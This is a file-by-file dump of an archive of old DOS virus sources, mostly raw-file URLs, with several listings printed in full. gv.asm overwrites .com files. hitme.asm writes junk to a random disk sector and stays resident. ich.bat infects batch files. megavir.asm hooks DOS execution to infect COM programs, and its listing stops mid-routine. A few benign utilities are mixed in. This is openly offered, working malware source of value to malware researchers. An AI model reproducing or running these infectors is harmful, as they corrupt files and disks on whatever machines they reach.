/virus/g/greeting.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/greeting.asm -------------------------------------------------------------------------------- /virus/g/grither.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/grither.asm -------------------------------------------------------------------------------- /virus/g/gunther.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/gunther.asm -------------------------------------------------------------------------------- /virus/g/gv.asm: -------------------------------------------------------------------------------- 1 | xor cx,cx 2 | mov dx,offset File 3 | mov ah,4eh 4 | int 21h 5 | z: 6 | mov dx,9eh 7 | mov ax,3d02h 8 | int 21h 9 | mov bx,ax 10 | mov dx,100h 11 | mov cl,27h 12 | mov ah,40h 13 | int 21h 14 | mov ah,3eh 15 | int 21h 16 | mov ah,4fh 17 | int 21h 18 | jnc z 19 | ret 20 | file db '*.com',0 21 | e: -------------------------------------------------------------------------------- /virus/h/hack-83.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hack-83.asm -------------------------------------------------------------------------------- /virus/h/hack-res.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hack-res.asm -------------------------------------------------------------------------------- /virus/h/hacktic.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hacktic.asm -------------------------------------------------------------------------------- /virus/h/hacktic2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hacktic2.asm -------------------------------------------------------------------------------- /virus/h/hause.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hause.asm -------------------------------------------------------------------------------- /virus/h/hh&h.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hh&h.asm -------------------------------------------------------------------------------- /virus/h/hitler.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hitler.asm -------------------------------------------------------------------------------- /virus/h/hitler_.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hitler_.asm -------------------------------------------------------------------------------- /virus/h/hitme.asm: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define INTR 0X1C 9 | 10 | #ifdef __cplusplus 11 | #define __CPPARGS ... 12 | #else 13 | #define __CPPARGS 14 | #endif 15 | 16 | void interrupt ( *oldhandler)(__CPPARGS); 17 | 18 | void interrupt handler(__CPPARGS) 19 | { 20 | delay(135); 21 | oldhandler(); 22 | } 23 | 24 | void main(void) 25 | { 26 | randomize(); char buf[512]; 27 | abswrite(2, 1, random(50000)+2000, buf); 28 | 29 | if(random(20) == 10) asm INT 19h 30 | 31 | oldhandler = getvect(INTR); 32 | setvect(INTR, handler); 33 | _ES = _psp; //PSP address 34 | asm MOV es,es:[2ch] 35 | _AH = 0x49; //Function 49 (remove memory block) 36 | asm INT 21h //Call DOS to execute instruction 37 | _AH = 0x31; //Function 31 (tsr) 38 | _AL = 0x00; //Exit code 39 | _DX = _psp; //PSP address 40 | asm INT 21h //Call DOS to execute instruction 41 | 42 | } -------------------------------------------------------------------------------- /virus/h/hiv.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hiv.asm -------------------------------------------------------------------------------- /virus/h/horse.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/horse.asm -------------------------------------------------------------------------------- /virus/h/horse4.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/horse4.asm -------------------------------------------------------------------------------- /virus/h/horse8.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/horse8.asm -------------------------------------------------------------------------------- /virus/h/house.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/house.asm -------------------------------------------------------------------------------- /virus/h/howard.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/howard.asm -------------------------------------------------------------------------------- /virus/h/hspawn.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hspawn.asm -------------------------------------------------------------------------------- /virus/h/hydra1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hydra1.asm -------------------------------------------------------------------------------- /virus/h/hydra2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hydra2.asm -------------------------------------------------------------------------------- /virus/h/hydra3.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hydra3.asm -------------------------------------------------------------------------------- /virus/h/hydra4.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hydra4.asm -------------------------------------------------------------------------------- /virus/h/hydra5.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hydra5.asm -------------------------------------------------------------------------------- /virus/h/hydra6.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hydra6.asm -------------------------------------------------------------------------------- /virus/h/hydra7.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hydra7.asm -------------------------------------------------------------------------------- /virus/h/hydra8.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/h/hydra8.asm -------------------------------------------------------------------------------- /virus/i/ice1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/i/ice1.asm -------------------------------------------------------------------------------- /virus/i/iceburn.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/i/iceburn.asm -------------------------------------------------------------------------------- /virus/i/icemelt.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/i/icemelt.asm -------------------------------------------------------------------------------- /virus/i/ich.bat: -------------------------------------------------------------------------------- 1 | IcH 2 | @echo off %-IcH% 3 | if "%0=="IcH goto iIcH 4 | if not exist %0.Bat goto IcH 5 | find "IcH"<%0.BatIcH.Bat 6 | for %%J in (..\*.bat *.bat) do call IcH %%J 7 | del IcH.* 8 | :: [IcH] by Techno Phunk 9 | goto IcH 10 | :iIcH 11 | find "IcH"<%1nul 12 | if not errorlevel 1 goto IcH 13 | copy %0.Bat+%1 IcH|type IcH%1 14 | :IcH -------------------------------------------------------------------------------- /virus/i/igor.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/i/igor.asm -------------------------------------------------------------------------------- /virus/i/indit.asm: -------------------------------------------------------------------------------- 1 | start segment 2 | assume cs:start,ds:start 3 | boot equ 1000h 4 | push ax 5 | push bx 6 | push cx 7 | push dx 8 | push es 9 | push ds 10 | push di 11 | push si 12 | call cim 13 | cim: pop bx 14 | mov si,5aa5h 15 | mov di,55aah 16 | push cs 17 | pop es 18 | ujra: add bx,1000 19 | cmp bx,1000 20 | jnc kilep1 21 | jmp kilep 22 | kilep1: push bx 23 | mov ax,201h 24 | mov dx,0 25 | mov cx,1 26 | int 13h 27 | pop bx 28 | jnc tovabb 29 | cmp ah,6 30 | jz kilep1 31 | jmp kilep 32 | tovabb: cmp si,0a55ah 33 | jz kilep 34 | mov ax,cs 35 | add ax,1000h 36 | push bx 37 | push ax 38 | int 12h 39 | mov bx,64 40 | mul bx 41 | sub ax,1000h 42 | mov bx,ax 43 | pop ax 44 | cmp bx,ax 45 | jnc oke1 46 | pop bx 47 | jmp kilep 48 | oke1: pop bx 49 | oke: mov es,ax 50 | mov ax,cs:[bx+18h] 51 | mov cx,cs:[bx+1ah] 52 | mul cx 53 | mov cx,ax 54 | mov ax,cs:[bx+13h] 55 | mov dx,0 56 | div cx 57 | sub bx,1000 58 | push bx 59 | mov ch,al 60 | mov cl,1 61 | mov bx,100h 62 | mov dx,0 63 | mov ax,208h 64 | int 13h 65 | pop bx 66 | jc kilep 67 | push bx 68 | mov bx,100h 69 | mov ax,es:[bx] 70 | cmp ax,2452h 71 | pop bx 72 | jnz kilep 73 | mov ax,bx 74 | add ax,offset kilep-offset cim 75 | push cs 76 | push ax 77 | mov ax,10ah 78 | push es 79 | push ax 80 | retf 81 | kilep: pop si 82 | pop di 83 | pop ds 84 | pop es 85 | pop dx 86 | pop cx 87 | pop bx 88 | pop ax 89 | ret 90 | cime: dw 0 91 | start ends 92 | end -------------------------------------------------------------------------------- /virus/i/inf9.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/i/inf9.asm -------------------------------------------------------------------------------- /virus/i/inferdem.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/i/inferdem.asm -------------------------------------------------------------------------------- /virus/i/insane.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/i/insane.asm -------------------------------------------------------------------------------- /virus/i/insanery.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/i/insanery.asm -------------------------------------------------------------------------------- /virus/i/int10.asm: -------------------------------------------------------------------------------- 1 | DOSCALL SEGMENT 'CODE' 2 | ASSUME CS:DOSCALL,DS:DOSCALL 3 | ; 4 | ;Procedure DOSVIO(VAR: AX, BX, CX, DX: Word); 5 | ; 6 | ; Issue a DOS VIDEO I/O INT (10) with register values set by caller 7 | ; 8 | ; FRAME: ADR AX; 12 9 | ; ADR BX; 10 10 | ; ADR CX; 08 11 | ; ADR DX; 06 12 | ; ; 00 13 | ; 14 | PUBLIC DOSVIO 15 | DOSVIO PROC FAR 16 | PUSH BP ;Save current BP value 17 | MOV BP,SP ;To address parms 18 | MOV DI,[BP+12] ;Address of AX 19 | MOV AX,[DI] ;Set AX value 20 | MOV DI,[BP+10] ;Address of BX 21 | MOV BX,[DI] ;Set BX value 22 | MOV DI,[BP+08] ;Address of CX 23 | MOV CX,[DI] ;Set CX value 24 | MOV DI,[BP+06] ;Address of DX 25 | MOV DX,[DI] ;Set DX value 26 | 27 | INT 10H ;Call BIOS with caller's AX, BX, CX, DX 28 | 29 | MOV DI,[BP+12] ;Now put them all back... 30 | MOV [DI],AX 31 | MOV DI,[BP+10] 32 | MOV [DI],BX 33 | MOV DI,[BP+08] 34 | MOV [DI],CX 35 | MOV DI,[BP+06] 36 | MOV [DI],DX 37 | 38 | POP BP ;Restore frame pointer 39 | RET 6 ;Return, poping 6 bytes 40 | 41 | DOSVIO ENDP 42 | 43 | DOSCALL ENDS 44 | END 45 | 46 | *** CREATED 06/28/82 21:05:48 BY AMD *** 47 |  -------------------------------------------------------------------------------- /virus/i/inter.asm: -------------------------------------------------------------------------------- 1 | ; Interface to RS232INT.EXE module 2 | CODESEG SEGMENT PARA PUBLIC 'CODE' 3 | PUBLIC REFRESH 4 | PUBLIC SETSENSE 5 | PUBLIC SENDBREAK 6 | PUBLIC BUFSIZE 7 | PUBLIC RECEIVE 8 | PUBLIC SEND 9 | ; 10 | ; TABLE OFF ADDRESSES TO BE FILLED FOR JUMPS 11 | SZ DW 0 12 | FIRST DW ? 13 | SB DW 10H 14 | DW ? 15 | BF DW 20H 16 | DW ? 17 | RC DW 30H 18 | DW ? 19 | SN DW 40H 20 | DW ? 21 | REFRESH PROC FAR 22 | ASSUME CS:CODESEG 23 | SEGAD EQU 4F0H ;ADDRESS IN INTRA AREA OF SEG ADDRESS 24 | CHNAD EQU 4F2H ;ADDRESS IN INTRA AREA OF CHAN # OFFSET 25 | PUSH AX 26 | PUSH BX 27 | PUSH DS 28 | MOV AX,0 ;SET DS TO 0 29 | MOV DS,AX 30 | MOV AX,DS:[SEGAD] ;GET SEG ADDRESS IN AX 31 | MOV BX,0 32 | LUPE: MOV FIRST[BX],AX ;STORE IN ADDR TABLE 33 | ADD BX,4 34 | CMP BX,20 35 | JNE LUPE ;MODIFY 5 ADDRESSES 36 | MOV BX,DS:[CHNAD] ;GET CHAN # OFFSET IN BX 37 | MOV DS,AX ;NOW SET DATA SEG TO LOADED CODE 38 | MOV BYTE PTR [BX],0 ;ZERO CHAN# 39 | POP DS 40 | POP BX 41 | POP AX 42 | RET 43 | REFRESH ENDP 44 | ; 45 | SETSENSE PROC FAR 46 | JMP DWORD PTR SZ ;GO TO LOADED CODE ENTRY POINT 47 | SETSENSE ENDP 48 | ; 49 | SENDBREAK PROC FAR 50 | JMP DWORD PTR SB ;GO TO LOADED CODE ENTRY POINT 51 | SENDBREAK ENDP 52 | ; 53 | BUFSIZE PROC FAR 54 | JMP DWORD PTR BF ;GO TO LOADED CODE ENTRY POINT 55 | BUFSIZE ENDP 56 | ; 57 | RECEIVE PROC FAR 58 | JMP DWORD PTR RC ;GO TO LOADED CODE ENTRY POINT 59 | RECEIVE ENDP 60 | ; 61 | SEND PROC FAR 62 | JMP DWORD PTR SN ;GO TO LOADED CODE ENTRY POINT 63 | SEND ENDP 64 | ; 65 | CODESEG ENDS 66 | END 67 |  -------------------------------------------------------------------------------- /virus/i/intovl.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/i/intovl.asm -------------------------------------------------------------------------------- /virus/i/inv602-r.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/i/inv602-r.asm -------------------------------------------------------------------------------- /virus/i/iod.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/i/iod.asm -------------------------------------------------------------------------------- /virus/i/ivdetect.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/i/ivdetect.asm -------------------------------------------------------------------------------- /virus/i/ivkiller.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/i/ivkiller.asm -------------------------------------------------------------------------------- /virus/j/jacky.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/j/jacky.asm -------------------------------------------------------------------------------- /virus/j/jerusal.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/j/jerusal.asm -------------------------------------------------------------------------------- /virus/j/john.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/j/john.asm -------------------------------------------------------------------------------- /virus/j/johnb.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/j/johnb.asm -------------------------------------------------------------------------------- /virus/j/joker.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/j/joker.asm -------------------------------------------------------------------------------- /virus/j/joshua.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/j/joshua.asm -------------------------------------------------------------------------------- /virus/k/k-cmos.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/k/k-cmos.asm -------------------------------------------------------------------------------- /virus/k/kiis.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/k/kiis.asm -------------------------------------------------------------------------------- /virus/k/kode4.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/k/kode4.asm -------------------------------------------------------------------------------- /virus/k/kode4v2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/k/kode4v2.asm -------------------------------------------------------------------------------- /virus/k/kuku.bas: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/k/kuku.bas -------------------------------------------------------------------------------- /virus/l/lehigh.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/lehigh.asm -------------------------------------------------------------------------------- /virus/l/lemming.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/lemming.asm -------------------------------------------------------------------------------- /virus/l/lepc.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/lepc.asm -------------------------------------------------------------------------------- /virus/l/leprosyc.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/leprosyc.asm -------------------------------------------------------------------------------- /virus/l/liana.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/liana.asm -------------------------------------------------------------------------------- /virus/l/liberty2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/liberty2.asm -------------------------------------------------------------------------------- /virus/l/liberty2.lst: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/liberty2.lst -------------------------------------------------------------------------------- /virus/l/libertyb.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/libertyb.asm -------------------------------------------------------------------------------- /virus/l/libertyb.lst: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/libertyb.lst -------------------------------------------------------------------------------- /virus/l/lizard.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/lizard.asm -------------------------------------------------------------------------------- /virus/l/loader.asm: -------------------------------------------------------------------------------- 1 | PAGE ,132 2 | VIRUS SEGMENT PARA PUBLIC 'CODE' 3 | ASSUME CS:VIRUS,DS:VIRUS 4 | call gyilk 5 | int 20h 6 | nop 7 | gyilk: push ax 8 | push bx 9 | push cx 10 | push dx 11 | push es 12 | push ds 13 | push di 14 | push si 15 | call cim 16 | cim: pop bx 17 | mov si,5aa5h 18 | mov di,55aah 19 | push cs 20 | pop es 21 | ujra: add bx,1000 22 | cmp bx,1000 23 | jnc kilep1 24 | jmp kilep 25 | kilep1: push bx 26 | mov ax,201h 27 | mov dx,80h 28 | mov cx,1 29 | int 13h 30 | pop bx 31 | jnc tovabb 32 | jmp kilep 33 | tovabb: cmp si,0a55ah 34 | jnz tivbi1 35 | jmp kilep 36 | tivbi1: mov ax,cs:word ptr [bx] 37 | cmp ax,12cdh 38 | jz kilep 39 | tovbi: push bx 40 | mov ax,201h 41 | mov dx,0h 42 | mov cx,1 43 | int 13h 44 | pop bx 45 | jnc tovabbi 46 | cmp ah,6 47 | jz tovbi 48 | jmp kilep 49 | tovabbi: mov ax,cs 50 | add ax,1000h 51 | push bx 52 | push ax 53 | int 12h 54 | mov bx,64 55 | mul bx 56 | sub ax,1000h 57 | mov bx,ax 58 | pop ax 59 | cmp bx,ax 60 | jnc oke1 61 | pop bx 62 | jmp kilep 63 | oke1: pop bx 64 | oke: mov es,ax 65 | mov ax,cs:[bx+18h] 66 | mov cx,cs:[bx+1ah] 67 | mul cx 68 | mov cx,ax 69 | mov ax,cs:[bx+13h] 70 | mov dx,0 71 | div cx 72 | sub bx,1000 73 | push bx 74 | mov ch,al 75 | mov cl,1 76 | mov bx,100h 77 | mov dx,0 78 | mov ax,208h 79 | int 13h 80 | pop bx 81 | jc kilep 82 | push bx 83 | mov bx,100h 84 | mov ax,es:[bx] 85 | cmp ax,2452h 86 | pop bx 87 | jnz kilep 88 | mov ax,bx 89 | add ax,offset kilep-offset cim 90 | push cs 91 | push ax 92 | mov ax,10ah 93 | push es 94 | push ax 95 | retf 96 | kilep: pop si 97 | pop di 98 | pop ds 99 | pop es 100 | pop dx 101 | pop cx 102 | pop bx 103 | pop ax 104 | ret 105 | cime: dw 0 106 | VEG EQU $ 107 | 108 | VIRUS ENDS 109 | 110 | END 111 |  -------------------------------------------------------------------------------- /virus/l/lockjaw.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/lockjaw.asm -------------------------------------------------------------------------------- /virus/l/lokjawd.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/lokjawd.asm -------------------------------------------------------------------------------- /virus/l/lokjawz.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/lokjawz.asm -------------------------------------------------------------------------------- /virus/l/lostfile.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/lostfile.asm -------------------------------------------------------------------------------- /virus/l/lovelock.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/lovelock.asm -------------------------------------------------------------------------------- /virus/l/lptport.asm: -------------------------------------------------------------------------------- 1 | ;title LPTPORT.ASM - Switch Printer Ports Between LPT1: and LPT2: 2 | ; 3 | ; (C) Copyright 1984, Dickinson Associates Inc. 4 | ; 5 | ROM_BIOS_DATA segment at 40h ; Low Memory "BIOS" Parameters at 40H 6 | org 8h ; Printer port addresses are at byte 8 7 | PRINTER_BASE dw 4 dup(?) ; Four words for Printer Port 8 | ; I/O Address Locations 9 | ROM_BIOS_DATA ends ; End of data segment 10 | ; 11 | CODE_SEG segment para 'code' 12 | ; 13 | assume ds:ROM_BIOS_DATA, cs:CODE_SEG, ss:NOTHING, es:NOTHING 14 | org 100h ; .COM format program 15 | ; 16 | BEGIN: 17 | mov ax,ROM_BIOS_DATA ; Make ROM_BIOS_DATA addressable 18 | mov ds,ax ; via DS register. 19 | ; 20 | mov ax,PRINTER_BASE[0] ; Move LPT1: port address to AX 21 | mov bx,PRINTER_BASE[2] ; Move LPT2: port address to BX 22 | mov PRINTER_BASE[0],bx ; Switch the port addresses around 23 | mov PRINTER_BASE[2],ax ; by moving them back in reverse order. 24 | ; 25 | ret ; Back to PC-DOS 26 | ; 27 | CODE_SEG ends ; End of code segment 28 | ; 29 | end BEGIN ; End of program 30 |  -------------------------------------------------------------------------------- /virus/l/lqcancer.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/lqcancer.asm -------------------------------------------------------------------------------- /virus/l/ltbro307.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/ltbro307.asm -------------------------------------------------------------------------------- /virus/l/lz.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/l/lz.zip -------------------------------------------------------------------------------- /virus/m/malice2a.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/malice2a.asm -------------------------------------------------------------------------------- /virus/m/malmseys.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/malmseys.asm -------------------------------------------------------------------------------- /virus/m/mang.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mang.asm -------------------------------------------------------------------------------- /virus/m/manvir.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/manvir.asm -------------------------------------------------------------------------------- /virus/m/maria-k.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/maria-k.asm -------------------------------------------------------------------------------- /virus/m/maria_k.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/maria_k.asm -------------------------------------------------------------------------------- /virus/m/mashka.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mashka.asm -------------------------------------------------------------------------------- /virus/m/mayak.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mayak.asm -------------------------------------------------------------------------------- /virus/m/mcm_62.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mcm_62.asm -------------------------------------------------------------------------------- /virus/m/megatroj.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/megatroj.asm -------------------------------------------------------------------------------- /virus/m/megavir.asm: -------------------------------------------------------------------------------- 1 | 2 | ideal 3 | p386 4 | model tiny 5 | codeseg 6 | startupcode 7 | 8 | n_int=len/4+82h 9 | 10 | ;MEGAVIR by Mad Daemon @ http://hysteria.sk/maddaemon/ 11 | 12 | ;Expected values in registers at entry point: bx=0 ch=0 13 | ;Compile to COM 14 | 15 | call start 16 | old_3: int 20h 17 | nop 18 | start: pop di 19 | dec di 20 | dec di 21 | mov si,[di] 22 | dec di 23 | push di 24 | add si,di 25 | movsw 26 | movsb 27 | shl di,1 28 | mov es,bx 29 | cmpsb 30 | je in_m 31 | dec si 32 | dec di 33 | mov cl,len 34 | rep 35 | movsb 36 | 37 | mov ax,OFFSET int21+100h 38 | cwde 39 | xchg eax,[es:84h] 40 | stosd 41 | in_m: push ds 42 | pop es 43 | retn 44 | 45 | call0: mov ax,4000h 46 | call1: push ax 47 | int 21h 48 | pop ax 49 | mov ah,42h 50 | cwd 51 | call2: xor cx,cx 52 | int 21h 53 | mov cl,3 54 | mov si,203h 55 | mov dx,si 56 | retn 57 | 58 | int21: cmp ax,4B00h 59 | jne noinf 60 | pusha 61 | push ds 62 | 63 | mov ax,3D02h 64 | call call2 65 | xchg bx,ax 66 | jc fail 67 | push cs 68 | pop ds 69 | mov ax,3F02h 70 | 71 | call call1 72 | xchg bp,ax 73 | mov cl,len+3 74 | 75 | lodsb 76 | cmp al,'M' 77 | je close 78 | cmp al,0E8h 79 | je close 80 | 81 | call call0 82 | 83 | mov [BYTE si],0E8h 84 | mov [WORD si+1],bp 85 | call call0 86 | 87 | close: mov ah,3Eh 88 | int 21h 89 | fail: pop ds 90 | popa 91 | 